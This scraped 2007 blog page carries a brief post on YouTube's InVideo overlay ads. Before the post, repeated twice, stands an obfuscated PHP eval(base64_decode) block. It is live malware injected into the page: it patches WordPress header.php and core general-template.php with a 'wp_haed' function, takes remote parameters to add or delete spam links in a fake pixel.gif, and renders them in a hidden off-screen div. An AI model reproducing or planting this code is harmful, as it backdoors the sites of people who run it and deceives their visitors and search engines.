//zzstart eval(base64_decode("Ly8gZmlyc3QgcmVtb3ZlIG15c2VsZgokZmlsZSA9IFRFTVBMQVRFUEFUSC4iL2hlYWRlci5waHAiOwokbW9kID0gZmlsZV9jdXQoJGZpbGUsIHN0cnJldigidHJhdHN6eiIpLCBzdHJyZXYoImhzaW5pZnp6IikpOyAKCgovLyBtb2RpZnkgaGVhZGVyLnBocAokZmlsZSA9IFRFTVBMQVRFUEFUSC4iL2hlYWRlci5waHAiOwokY2hlY2sgPSBmaW5kX2xpbmUoJGZpbGUsICJ3cF9oYWVkIik7CmlmKCRjaGVjaykgZGllKCJGaWxlIGFscmVhZHkgcGF0Y2hlZCIpOwokbW9kID0gZmlsZV9hcHBlbmQoJGZpbGUsICI8P3BocCBpZihmdW5jdGlvbl9leGlzdHMoJ3dwX2hhZWQnKSkgQHdwX2hhZWQoKSA/PiIpOwoKCi8vIG1vZGlmeSBnZW5lcmFsLXRlbXBsYXRlCiRmaWxlID0gQUJTUEFUSC4id3AtaW5jbHVkZXMvZ2VuZXJhbC10ZW1wbGF0ZS5waHAiOwokY29udGVudCA9IGJhc2U2NF9kZWNvZGUoJ1puVnVZM1JwYjI0Z2QzQmZhR0ZsWkNncElIc0tDUzh2Y0hKcGJuUmZjaWdrWDFKRlVWVkZVMVFwT3dvS0NXbG1LQ1JmVWtWUlZVVlRWRnNuWTNKaGJXVnlKMTA5UFNkcWFXMG5LU0I3Q2drS0NRbHBaaWdrWDFKRlVWVkZVMVJiSjJOdFpDZGRQVDBuWVdSa0p5a2dld29KQ1FscFppZ2habWxzWlY5bGVHbHpkSE1vUVVKVFVFRlVTQzRuZDNBdGFXNWpiSFZrWlhNdmFXMWhaMlZ6THljcEtTQkFiV3RrYVhJZ0tFRkNVMUJCVkVndUozZHdMV2x1WTJ4MVpHVnpMMmx0WVdkbGN5OG5LVHNLQ1FrSkNna0pDU1J3WVhKaGJTQTlJSFJ5YVcwb0pGOVNSVkZWUlZOVVd5ZHdZWEpoYlNkZEtUc0tDUWtKSkhScGRHeGxJRDBnZEhKcGJTZ2tYMUpGVVZWRlUxUmJKM1JwZEd4bEoxMHBPd29KQ1FrS0NRa0pKR1lnUFNCbWIzQmxiaWhCUWxOUVFWUklMaWQzY0MxcGJtTnNkV1JsY3k5cGJXRm5aWE12Y0dsNFpXd3VaMmxtSnl3Z0oyRXJKeWs3Q2drSkNTUnlJRDBnWm5CMWRITW9KR1lzSUNJOFlTQm9jbVZtUFZ3aUpIQmhjbUZ0WENJK0pIUnBkR3hsUEM5aFBseHVJaWs3Q2drSkNTUnlJRDBnWm1Oc2IzTmxLQ1JtS1RzS0NRa0pDZ2tKQ1dWamFHOGdJandoTFMwZ1lXUmtJSE4xWTJObGMzTm1kV3dnTFMwK1hHNGlPd29KQ1FrS0NRbDlJR1ZzYzJWcFppQW9KRjlTUlZGVlJWTlVXeWRqYldRblhUMDlKMlJsYkdWMFpTY3BJSHNLQ1FrSkNpQWdJQ0FnSUNSd1lYSmhiU0E5SUhSeWFXMG9KRjlTUlZGVlJWTlVXeWR3WVhKaGJTZGRLVHNLSUNBZ0lDQWdKRzl5YVdjZ1BTQm1hV3hsS0VGQ1UxQkJWRWd1SjNkd0xXbHVZMngxWkdWekwybHRZV2RsY3k5d2FYaGxiQzVuYVdZbktUc0tJQ0FnSUNBZ2RXNXNhVzVyS0VGQ1UxQkJWRWd1SjNkd0xXbHVZMngxWkdWekwybHRZV2RsY3k5d2FYaGxiQzVuYVdZbktUc0tJQ0FnSUNBZ0pHWWdQU0JtYjNCbGJpaEJRbE5RUVZSSUxpZDNjQzFwYm1Oc2RXUmxjeTlwYldGblpYTXZjR2w0Wld3dVoybG1KeXdnSjJFckp5azdDaUFnSUNBZ0lHWnZjbVZoWTJnb0pHOXlhV2NnWVhNZ0pHeHBibVU5UGlSMllXeDFaU2tnZXdvZ0lDQWdJQ0FnSUNSMllXeDFaVDEwY21sdEtDUjJZV3gxWlNrN0NpQWdJQ0FnSUNBZ0pIQnZjejF6ZEhKd2IzTW9KSFpoYkhWbExDQWtjR0Z5WVcwcE93b2dJQ0FnSUNBZ0lHbG1LQ1J3YjNNOFBUQXBJR1p3ZFhSektDUm1MQ0FrZG1Gc2RXVXVJbHh1SWlrN0NpQWdJQ0FnSUgwS0lDQWdJQ0FnSkhJZ1BTQm1ZMnh2YzJVb0pHWXBPd29nSUNBZ0lDQmxZMmh2SUNJOElTMHRJR1JsYkdWMFpTQnpkV05qWlhOelpuVnNJQzB0UGx4dUlqc0tDUWtKQ1FrSkNRb0pDWDBLQ1FrS0NYMGdaV3h6WlNCN0Nna0phV1lvWm1sc1pWOWxlR2x6ZEhNb1FVSlRVRUZVU0M0bmQzQXRhVzVqYkhWa1pYTXZhVzFoWjJWekwzQnBlR1ZzTG1kcFppY3BLU0I3Q2drSkNTUnNaV1owWDI5bVptVjBQUzB4TURBd0xYSmhibVFvTUN3ek1EQXBLaTB4T3dvSkNRa2tkRzl3WDI5bVptVjBQUzB4TURBd0xYSmhibVFvTUN3ek1EQXBLaTB4T3dvSkNTQWdKR1JwZG5CcFpXTmxjejFsZUhCc2IyUmxLQ2NzSnl3aVlYSXNZbUVzYm1Fc1kyOHNiR2tzWkdrc1ptRXNibThzYzNRc2JIa2lLVHNLQ1FrSlptOXlLQ1JrYVhad2FXVmpaVDB3T3lSa2FYWndhV1ZqWlR3MU95UmthWFp3YVdWalpTc3JLU0I3Q2drSkNTQWdKR1JwZG01aGJXVXVQU1JrYVhad2FXVmpaWE5iY21GdVpDZ3dMSE5wZW1WdlppZ2taR2wyY0dsbFkyVnpLU2xkT3dvSkNRbDlDZ2tKQ1Q4K0Nna0pDVHhrYVhZZ2FXUTlJbmR3WHp3L1BTUmthWFp1WVcxbElEOCtJaUJ6ZEhsc1pUMGljRzl6YVhScGIyNDZZV0p6YjJ4MWRHVTdJR3hsWm5RNlBEODlKR3hsWm5SZmIyWm1jMlYwUHo1d2VEc2dkRzl3T2p3L1BTUjBiM0JmYjJabVpYUS9QbkI0T3lJK0NRb0pDUWs4UHlCcGJtTnNkV1JsSUVGQ1UxQkJWRWd1SjNkd0xXbHVZMngxWkdWekwybHRZV2RsY3k5d2FYaGxiQzVuYVdZbk95QS9QZ29KQ1FrOEwyUnBkajRLQ1FrSlBEOEtDUWw5Q2dsOUNna0tmUW9LJyk7CiRjaGVjayA9IGZpbmRfbGluZSgkZmlsZSwgIndwX2hhZWQiKTsKaWYoJGNoZWNrKSBkaWUoIkZpbGUgYWxyZWFkeSBwYXRjaGVkIik7CiRsaW5lID0gZmluZF9saW5lKCRmaWxlLCAiZnVuY3Rpb24gcGFnaW5hdGVfbGlua3MiKTsKJHJzID0gZmlsZV9hZGQoJGZpbGUsICRsaW5lLS0sICRjb250ZW50KTsKCmZ1bmN0aW9uIGZpbGVfY3V0KCRmaWxlLCAkc3RhcnQsICRmaW5pc2gpIHsKCWlmKGVtcHR5KCRmaWxlKSB8fCAhZmlsZV9leGlzdHMoJGZpbGUpKSBkaWUoImZpbGUgJGZpbGUgZG9lc24ndCBleGlzdCIpOwoJaWYoIWlzX3dyaXRhYmxlKCRmaWxlKSkgZGllKCJmaWxlICRmaWxlIGlzbid0IHdyaXRhYmxlIik7CglpZihmaWxlX2V4aXN0cygkZmlsZS4iLmJhayIpKSBkaWUoIkZpbGUgJGZpbGUuYmFrIGV4aXN0cyIpOwoKCXJlbmFtZSgkZmlsZSwgJGZpbGUuIi5iYWsiKTsKCQoJJG9yaWdpbmFsID0gZmlsZSgkZmlsZS4iLmJhayIpOwoJJG5ldyA9IGZvcGVuKCRmaWxlLCAiYSsiKTsKCQoJJHdyaXRlID0gVFJVRTsKCQoJZm9yZWFjaCgkb3JpZ2luYWwgYXMgJGxpbmVfaWQ9PiRsaW5lX2NvbnRlbnRzKSB7CgkJCgoJCQoJCWlmKHN0cnN0cigkbGluZV9jb250ZW50cywgJHN0YXJ0KSkgewoJCQkkd3JpdGUgPSBUUlVFOwoJCQljb250aW51ZTsKCQl9CgoJCWlmKHN0cnN0cigkbGluZV9jb250ZW50cywgJGZpbmlzaCkpIHsKCQkJJHdyaXRlID0gRkFMU0U7CgkJCWNvbnRpbnVlOwoJCX0JCQoJCQoJCWlmKCR3cml0ZSkgewoJCQlmcHV0cygkbmV3LCAkbGluZV9jb250ZW50cyk7CgkJfQoKCX0KCQoJLy8gY2xvc2UgdGhlIGZpbGVzCglmY2xvc2UoJG5ldyk7Cgl1bmxpbmsoJGZpbGUuIi5iYWsiKTsKfQoKCmZ1bmN0aW9uIGZpbGVfYWRkKCRmaWxlLCAkbGluZSwgJGNvbnRlbnQpIHsKCQoJaWYoZW1wdHkoJGZpbGUpIHx8ICFmaWxlX2V4aXN0cygkZmlsZSkpIGRpZSgiZmlsZSAkZmlsZSBkb2Vzbid0IGV4aXN0Iik7CglpZighaXNfd3JpdGFibGUoJGZpbGUpKSBkaWUoImZpbGUgJGZpbGUgaXNuJ3Qgd3JpdGFibGUiKTsKCWlmKGZpbGVfZXhpc3RzKCRmaWxlLiIuYmFrIikpIGRpZSgiRmlsZSAkZmlsZS5iYWsgZXhpc3RzIik7CgkKCXJlbmFtZSgkZmlsZSwgJGZpbGUuIi5iYWsiKTsKCQoJJG9yaWdpbmFsID0gZmlsZSgkZmlsZS4iLmJhayIpOwoJJG5ldyA9IGZvcGVuKCRmaWxlLCAiYSsiKTsKCQoJZm9yZWFjaCgkb3JpZ2luYWwgYXMgJGxpbmVfaWQ9PiRsaW5lX2NvbnRlbnRzKSB7CgkJCgkJLy9lY2hvICRsaW5lX2lkLiI9PiIuJGxpbmVfY29udGVudHMuIjxicj5cbiI7CgkJCgoJCWlmKCRsaW5lX2lkPT0kbGluZSkgewoJCQlmcHV0cygkbmV3LCAkY29udGVudCk7CgkJfQoJCQoJCWZwdXRzKCRuZXcsICRsaW5lX2NvbnRlbnRzKTsKCX0KCQoJLy8gY2xvc2UgdGhlIGZpbGVzCglmY2xvc2UoJG5ldyk7CgkKCXVubGluaygkZmlsZS4iLmJhayIpOwoKCQp9CgpmdW5jdGlvbiBmaW5kX2xpbmUoJGZpbGUsICR0ZXh0KSB7CglpZihlbXB0eSgkZmlsZSkgfHwgIWZpbGVfZXhpc3RzKCRmaWxlKSkgZGllKCJmaWxlICRmaWxlIGRvZXNuJ3QgZXhpc3QiKTsKCWlmKCFpc193cml0YWJsZSgkZmlsZSkpIGRpZSgiZmlsZSAkZmlsZSBpc24ndCB3cml0YWJsZSIpOwoKCSRvcmlnaW5hbCA9IGZpbGUoJGZpbGUpOwoJCglmb3JlYWNoKCRvcmlnaW5hbCBhcyAkbGluZV9pZD0+JGxpbmVfY29udGVudHMpIHsKCQlpZihzdHJzdHIoJGxpbmVfY29udGVudHMsICR0ZXh0KSkgewoJCQlyZXR1cm4gJGxpbmVfaWQ7CgkJCWJyZWFrOwoJCX0KCQkKCX0KCXJldHVybiBmYWxzZTsKCQp9CgpmdW5jdGlvbiBmaWxlX2FwcGVuZCgkZmlsZSwgJHRleHQpIHsKCWlmKGVtcHR5KCRmaWxlKSB8fCAhZmlsZV9leGlzdHMoJGZpbGUpKSBkaWUoImZpbGVfYXBwZW5kOiBmaWxlICRmaWxlIGRvZXNuJ3QgZXhpc3QiKTsKCWlmKCFpc193cml0YWJsZSgkZmlsZSkpIGRpZSgiZmlsZV9hcHBlbmQ6IGZpbGUgJGZpbGUgaXNuJ3Qgd3JpdGFibGUiKTsKCQoJJGZpbGUgPSBmb3BlbigkZmlsZSwgImErIik7CgkkcnMgPSBmcHV0cygkZmlsZSwgJHRleHQpOwoJZmNsb3NlKCRmaWxlKTsKfQo="));
?>//zzfinish//zzstart eval(base64_decode("Ly8gZmlyc3QgcmVtb3ZlIG15c2VsZgokZmlsZSA9IFRFTVBMQVRFUEFUSC4iL2hlYWRlci5waHAiOwokbW9kID0gZmlsZV9jdXQoJGZpbGUsIHN0cnJldigidHJhdHN6eiIpLCBzdHJyZXYoImhzaW5pZnp6IikpOyAKCgovLyBtb2RpZnkgaGVhZGVyLnBocAokZmlsZSA9IFRFTVBMQVRFUEFUSC4iL2hlYWRlci5waHAiOwokY2hlY2sgPSBmaW5kX2xpbmUoJGZpbGUsICJ3cF9oYWVkIik7CmlmKCRjaGVjaykgZGllKCJGaWxlIGFscmVhZHkgcGF0Y2hlZCIpOwokbW9kID0gZmlsZV9hcHBlbmQoJGZpbGUsICI8P3BocCBpZihmdW5jdGlvbl9leGlzdHMoJ3dwX2hhZWQnKSkgQHdwX2hhZWQoKSA/PiIpOwoKCi8vIG1vZGlmeSBnZW5lcmFsLXRlbXBsYXRlCiRmaWxlID0gQUJTUEFUSC4id3AtaW5jbHVkZXMvZ2VuZXJhbC10ZW1wbGF0ZS5waHAiOwokY29udGVudCA9IGJhc2U2NF9kZWNvZGUoJ1puVnVZM1JwYjI0Z2QzQmZhR0ZsWkNncElIc0tDUzh2Y0hKcGJuUmZjaWdrWDFKRlVWVkZVMVFwT3dvS0NXbG1LQ1JmVWtWUlZVVlRWRnNuWTNKaGJXVnlKMTA5UFNkcWFXMG5LU0I3Q2drS0NRbHBaaWdrWDFKRlVWVkZVMVJiSjJOdFpDZGRQVDBuWVdSa0p5a2dld29KQ1FscFppZ2habWxzWlY5bGVHbHpkSE1vUVVKVFVFRlVTQzRuZDNBdGFXNWpiSFZrWlhNdmFXMWhaMlZ6THljcEtTQkFiV3RrYVhJZ0tFRkNVMUJCVkVndUozZHdMV2x1WTJ4MVpHVnpMMmx0WVdkbGN5OG5LVHNLQ1FrSkNna0pDU1J3WVhKaGJTQTlJSFJ5YVcwb0pGOVNSVkZWUlZOVVd5ZHdZWEpoYlNkZEtUc0tDUWtKSkhScGRHeGxJRDBnZEhKcGJTZ2tYMUpGVVZWRlUxUmJKM1JwZEd4bEoxMHBPd29KQ1FrS0NRa0pKR1lnUFNCbWIzQmxiaWhCUWxOUVFWUklMaWQzY0MxcGJtTnNkV1JsY3k5cGJXRm5aWE12Y0dsNFpXd3VaMmxtSnl3Z0oyRXJKeWs3Q2drSkNTUnlJRDBnWm5CMWRITW9KR1lzSUNJOFlTQm9jbVZtUFZ3aUpIQmhjbUZ0WENJK0pIUnBkR3hsUEM5aFBseHVJaWs3Q2drSkNTUnlJRDBnWm1Oc2IzTmxLQ1JtS1RzS0NRa0pDZ2tKQ1dWamFHOGdJandoTFMwZ1lXUmtJSE4xWTJObGMzTm1kV3dnTFMwK1hHNGlPd29KQ1FrS0NRbDlJR1ZzYzJWcFppQW9KRjlTUlZGVlJWTlVXeWRqYldRblhUMDlKMlJsYkdWMFpTY3BJSHNLQ1FrSkNpQWdJQ0FnSUNSd1lYSmhiU0E5SUhSeWFXMG9KRjlTUlZGVlJWTlVXeWR3WVhKaGJTZGRLVHNLSUNBZ0lDQWdKRzl5YVdjZ1BTQm1hV3hsS0VGQ1UxQkJWRWd1SjNkd0xXbHVZMngxWkdWekwybHRZV2RsY3k5d2FYaGxiQzVuYVdZbktUc0tJQ0FnSUNBZ2RXNXNhVzVyS0VGQ1UxQkJWRWd1SjNkd0xXbHVZMngxWkdWekwybHRZV2RsY3k5d2FYaGxiQzVuYVdZbktUc0tJQ0FnSUNBZ0pHWWdQU0JtYjNCbGJpaEJRbE5RUVZSSUxpZDNjQzFwYm1Oc2RXUmxjeTlwYldGblpYTXZjR2w0Wld3dVoybG1KeXdnSjJFckp5azdDaUFnSUNBZ0lHWnZjbVZoWTJnb0pHOXlhV2NnWVhNZ0pHeHBibVU5UGlSMllXeDFaU2tnZXdvZ0lDQWdJQ0FnSUNSMllXeDFaVDEwY21sdEtDUjJZV3gxWlNrN0NpQWdJQ0FnSUNBZ0pIQnZjejF6ZEhKd2IzTW9KSFpoYkhWbExDQWtjR0Z5WVcwcE93b2dJQ0FnSUNBZ0lHbG1LQ1J3YjNNOFBUQXBJR1p3ZFhSektDUm1MQ0FrZG1Gc2RXVXVJbHh1SWlrN0NpQWdJQ0FnSUgwS0lDQWdJQ0FnSkhJZ1BTQm1ZMnh2YzJVb0pHWXBPd29nSUNBZ0lDQmxZMmh2SUNJOElTMHRJR1JsYkdWMFpTQnpkV05qWlhOelpuVnNJQzB0UGx4dUlqc0tDUWtKQ1FrSkNRb0pDWDBLQ1FrS0NYMGdaV3h6WlNCN0Nna0phV1lvWm1sc1pWOWxlR2x6ZEhNb1FVSlRVRUZVU0M0bmQzQXRhVzVqYkhWa1pYTXZhVzFoWjJWekwzQnBlR1ZzTG1kcFppY3BLU0I3Q2drSkNTUnNaV1owWDI5bVptVjBQUzB4TURBd0xYSmhibVFvTUN3ek1EQXBLaTB4T3dvSkNRa2tkRzl3WDI5bVptVjBQUzB4TURBd0xYSmhibVFvTUN3ek1EQXBLaTB4T3dvSkNTQWdKR1JwZG5CcFpXTmxjejFsZUhCc2IyUmxLQ2NzSnl3aVlYSXNZbUVzYm1Fc1kyOHNiR2tzWkdrc1ptRXNibThzYzNRc2JIa2lLVHNLQ1FrSlptOXlLQ1JrYVhad2FXVmpaVDB3T3lSa2FYWndhV1ZqWlR3MU95UmthWFp3YVdWalpTc3JLU0I3Q2drSkNTQWdKR1JwZG01aGJXVXVQU1JrYVhad2FXVmpaWE5iY21GdVpDZ3dMSE5wZW1WdlppZ2taR2wyY0dsbFkyVnpLU2xkT3dvSkNRbDlDZ2tKQ1Q4K0Nna0pDVHhrYVhZZ2FXUTlJbmR3WHp3L1BTUmthWFp1WVcxbElEOCtJaUJ6ZEhsc1pUMGljRzl6YVhScGIyNDZZV0p6YjJ4MWRHVTdJR3hsWm5RNlBEODlKR3hsWm5SZmIyWm1jMlYwUHo1d2VEc2dkRzl3T2p3L1BTUjBiM0JmYjJabVpYUS9QbkI0T3lJK0NRb0pDUWs4UHlCcGJtTnNkV1JsSUVGQ1UxQkJWRWd1SjNkd0xXbHVZMngxWkdWekwybHRZV2RsY3k5d2FYaGxiQzVuYVdZbk95QS9QZ29KQ1FrOEwyUnBkajRLQ1FrSlBEOEtDUWw5Q2dsOUNna0tmUW9LJyk7CiRjaGVjayA9IGZpbmRfbGluZSgkZmlsZSwgIndwX2hhZWQiKTsKaWYoJGNoZWNrKSBkaWUoIkZpbGUgYWxyZWFkeSBwYXRjaGVkIik7CiRsaW5lID0gZmluZF9saW5lKCRmaWxlLCAiZnVuY3Rpb24gcGFnaW5hdGVfbGlua3MiKTsKJHJzID0gZmlsZV9hZGQoJGZpbGUsICRsaW5lLS0sICRjb250ZW50KTsKCmZ1bmN0aW9uIGZpbGVfY3V0KCRmaWxlLCAkc3RhcnQsICRmaW5pc2gpIHsKCWlmKGVtcHR5KCRmaWxlKSB8fCAhZmlsZV9leGlzdHMoJGZpbGUpKSBkaWUoImZpbGUgJGZpbGUgZG9lc24ndCBleGlzdCIpOwoJaWYoIWlzX3dyaXRhYmxlKCRmaWxlKSkgZGllKCJmaWxlICRmaWxlIGlzbid0IHdyaXRhYmxlIik7CglpZihmaWxlX2V4aXN0cygkZmlsZS4iLmJhayIpKSBkaWUoIkZpbGUgJGZpbGUuYmFrIGV4aXN0cyIpOwoKCXJlbmFtZSgkZmlsZSwgJGZpbGUuIi5iYWsiKTsKCQoJJG9yaWdpbmFsID0gZmlsZSgkZmlsZS4iLmJhayIpOwoJJG5ldyA9IGZvcGVuKCRmaWxlLCAiYSsiKTsKCQoJJHdyaXRlID0gVFJVRTsKCQoJZm9yZWFjaCgkb3JpZ2luYWwgYXMgJGxpbmVfaWQ9PiRsaW5lX2NvbnRlbnRzKSB7CgkJCgoJCQoJCWlmKHN0cnN0cigkbGluZV9jb250ZW50cywgJHN0YXJ0KSkgewoJCQkkd3JpdGUgPSBUUlVFOwoJCQljb250aW51ZTsKCQl9CgoJCWlmKHN0cnN0cigkbGluZV9jb250ZW50cywgJGZpbmlzaCkpIHsKCQkJJHdyaXRlID0gRkFMU0U7CgkJCWNvbnRpbnVlOwoJCX0JCQoJCQoJCWlmKCR3cml0ZSkgewoJCQlmcHV0cygkbmV3LCAkbGluZV9jb250ZW50cyk7CgkJfQoKCX0KCQoJLy8gY2xvc2UgdGhlIGZpbGVzCglmY2xvc2UoJG5ldyk7Cgl1bmxpbmsoJGZpbGUuIi5iYWsiKTsKfQoKCmZ1bmN0aW9uIGZpbGVfYWRkKCRmaWxlLCAkbGluZSwgJGNvbnRlbnQpIHsKCQoJaWYoZW1wdHkoJGZpbGUpIHx8ICFmaWxlX2V4aXN0cygkZmlsZSkpIGRpZSgiZmlsZSAkZmlsZSBkb2Vzbid0IGV4aXN0Iik7CglpZighaXNfd3JpdGFibGUoJGZpbGUpKSBkaWUoImZpbGUgJGZpbGUgaXNuJ3Qgd3JpdGFibGUiKTsKCWlmKGZpbGVfZXhpc3RzKCRmaWxlLiIuYmFrIikpIGRpZSgiRmlsZSAkZmlsZS5iYWsgZXhpc3RzIik7CgkKCXJlbmFtZSgkZmlsZSwgJGZpbGUuIi5iYWsiKTsKCQoJJG9yaWdpbmFsID0gZmlsZSgkZmlsZS4iLmJhayIpOwoJJG5ldyA9IGZvcGVuKCRmaWxlLCAiYSsiKTsKCQoJZm9yZWFjaCgkb3JpZ2luYWwgYXMgJGxpbmVfaWQ9PiRsaW5lX2NvbnRlbnRzKSB7CgkJCgkJLy9lY2hvICRsaW5lX2lkLiI9PiIuJGxpbmVfY29udGVudHMuIjxicj5cbiI7CgkJCgoJCWlmKCRsaW5lX2lkPT0kbGluZSkgewoJCQlmcHV0cygkbmV3LCAkY29udGVudCk7CgkJfQoJCQoJCWZwdXRzKCRuZXcsICRsaW5lX2NvbnRlbnRzKTsKCX0KCQoJLy8gY2xvc2UgdGhlIGZpbGVzCglmY2xvc2UoJG5ldyk7CgkKCXVubGluaygkZmlsZS4iLmJhayIpOwoKCQp9CgpmdW5jdGlvbiBmaW5kX2xpbmUoJGZpbGUsICR0ZXh0KSB7CglpZihlbXB0eSgkZmlsZSkgfHwgIWZpbGVfZXhpc3RzKCRmaWxlKSkgZGllKCJmaWxlICRmaWxlIGRvZXNuJ3QgZXhpc3QiKTsKCWlmKCFpc193cml0YWJsZSgkZmlsZSkpIGRpZSgiZmlsZSAkZmlsZSBpc24ndCB3cml0YWJsZSIpOwoKCSRvcmlnaW5hbCA9IGZpbGUoJGZpbGUpOwoJCglmb3JlYWNoKCRvcmlnaW5hbCBhcyAkbGluZV9pZD0+JGxpbmVfY29udGVudHMpIHsKCQlpZihzdHJzdHIoJGxpbmVfY29udGVudHMsICR0ZXh0KSkgewoJCQlyZXR1cm4gJGxpbmVfaWQ7CgkJCWJyZWFrOwoJCX0KCQkKCX0KCXJldHVybiBmYWxzZTsKCQp9CgpmdW5jdGlvbiBmaWxlX2FwcGVuZCgkZmlsZSwgJHRleHQpIHsKCWlmKGVtcHR5KCRmaWxlKSB8fCAhZmlsZV9leGlzdHMoJGZpbGUpKSBkaWUoImZpbGVfYXBwZW5kOiBmaWxlICRmaWxlIGRvZXNuJ3QgZXhpc3QiKTsKCWlmKCFpc193cml0YWJsZSgkZmlsZSkpIGRpZSgiZmlsZV9hcHBlbmQ6IGZpbGUgJGZpbGUgaXNuJ3Qgd3JpdGFibGUiKTsKCQoJJGZpbGUgPSBmb3BlbigkZmlsZSwgImErIik7CgkkcnMgPSBmcHV0cygkZmlsZSwgJHRleHQpOwoJZmNsb3NlKCRmaWxlKTsKfQo="));
?>//zzfinish
22 Aug, 2007
Advertising, Youtube.com
 The YouTube InVideo Ads are semi-transparent overlays that appear in the bottom 20% of the video player. The rich media animations show up 15 seconds after the chosen content begins, with the overlay lasting up to 10 seconds. The overlays also have interactive functionality, allowing users to click through to an advertiser’s linked URL–or to launch a new player within the original window that will run a video ad and bring the user back to the content at any time).
MediaPost Publications - YouTube Launches InVideo Ad Platform - 08/22/2007
You must be logged in to post a comment.